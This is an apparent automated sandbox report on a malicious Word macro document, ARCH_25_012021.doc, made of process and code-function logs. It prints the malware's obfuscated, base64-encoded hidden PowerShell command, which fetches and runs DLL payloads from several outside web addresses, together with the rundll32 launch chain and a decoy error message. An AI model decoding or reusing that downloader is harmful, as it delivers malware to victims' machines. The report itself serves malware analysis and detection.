Source: unknown	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjyrclfl\qwodoyj.whn',#1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd',FIxqgRZUp	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd',#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omuzql\aridm.cve',PiBVmMpskdW	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Omuzql\aridm.cve',#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjyrclfl\qwodoyj.whn',CPVO	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Yjyrclfl\qwodoyj.whn',#1	Jump to behavior

Source: ARCH_25_012021.doc	Stream path 'Macros/VBA/Gusca95luq_' : High number of GOTO operations
Source: VBA code instrumentation	OLE, VBA macro, High number of GOTO operations: Module Gusca95luq_			Name: Gusca95luq_

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_00292D98 push 00292E25h; ret	7_2_00292E1D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A0020 push 002A0058h; ret	7_2_002A0050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_00294038 push 00294064h; ret	7_2_0029405C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026A0B4 push 0026A0E0h; ret	7_2_0026A0D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026A0B2 push 0026A0E0h; ret	7_2_0026A0D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026B274 push 0026B2CDh; ret	7_2_0026B2C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0027C34C push 0027C378h; ret	7_2_0027C370
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026E450 push ecx; mov dword ptr [esp], edx	7_2_0026E454
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A0498 push 002A04EFh; ret	7_2_002A04E7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A04F4 push 002A055Ch; ret	7_2_002A0554
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A05B8 push 002A05E4h; ret	7_2_002A05DC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0029B588 push 0029B5CAh; ret	7_2_0029B5C2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A0580 push 002A05ACh; ret	7_2_002A05A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A05F0 push 002A063Ch; ret	7_2_002A0634
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A0654 push 002A0680h; ret	7_2_002A0678
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A068C push 002A06B8h; ret	7_2_002A06B0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026E696 push ecx; mov dword ptr [esp], edx	7_2_0026E69C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026E6F0 push ecx; mov dword ptr [esp], edx	7_2_0026E6F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A06C4 push 002A06F0h; ret	7_2_002A06E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026D6DC push 0026D751h; ret	7_2_0026D749
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_00268748 push 00268774h; ret	7_2_0026876C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026D754 push 0026D7ADh; ret	7_2_0026D7A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026E750 push ecx; mov dword ptr [esp], edx	7_2_0026E754
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A37A8 push 002A37E0h; ret	7_2_002A37D8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_00268798 push 002687C4h; ret	7_2_002687BC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A07E4 push 002A0827h; ret	7_2_002A081F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A0834 push 002A0860h; ret	7_2_002A0858
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A086C push 002A0898h; ret	7_2_002A0890
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_002A3848 push 002A3874h; ret	7_2_002A386C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026C8A4 push 0026C8E6h; ret	7_2_0026C8DE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_0026C8A2 push 0026C8E6h; ret	7_2_0026C8DE

Analysis Report ARCH_25_012021.doc

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Cryptography:

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Xsugi\zrfn.shd:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Omuzql\aridm.cve:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Yjyrclfl\qwodoyj.whn:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_00241D4D mov eax, dword ptr fs:[00000030h]	7_2_00241D4D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_005112C1 mov eax, dword ptr fs:[00000030h]	7_2_005112C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_00231D4D mov eax, dword ptr fs:[00000030h]	8_2_00231D4D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_002D12C1 mov eax, dword ptr fs:[00000030h]	8_2_002D12C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_001E12C1 mov eax, dword ptr fs:[00000030h]	9_2_001E12C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 10_2_001C12C1 mov eax, dword ptr fs:[00000030h]	10_2_001C12C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_002212C1 mov eax, dword ptr fs:[00000030h]	11_2_002212C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 12_2_001812C1 mov eax, dword ptr fs:[00000030h]	12_2_001812C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_00711D4D mov eax, dword ptr fs:[00000030h]	13_2_00711D4D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_006A12C1 mov eax, dword ptr fs:[00000030h]	13_2_006A12C1
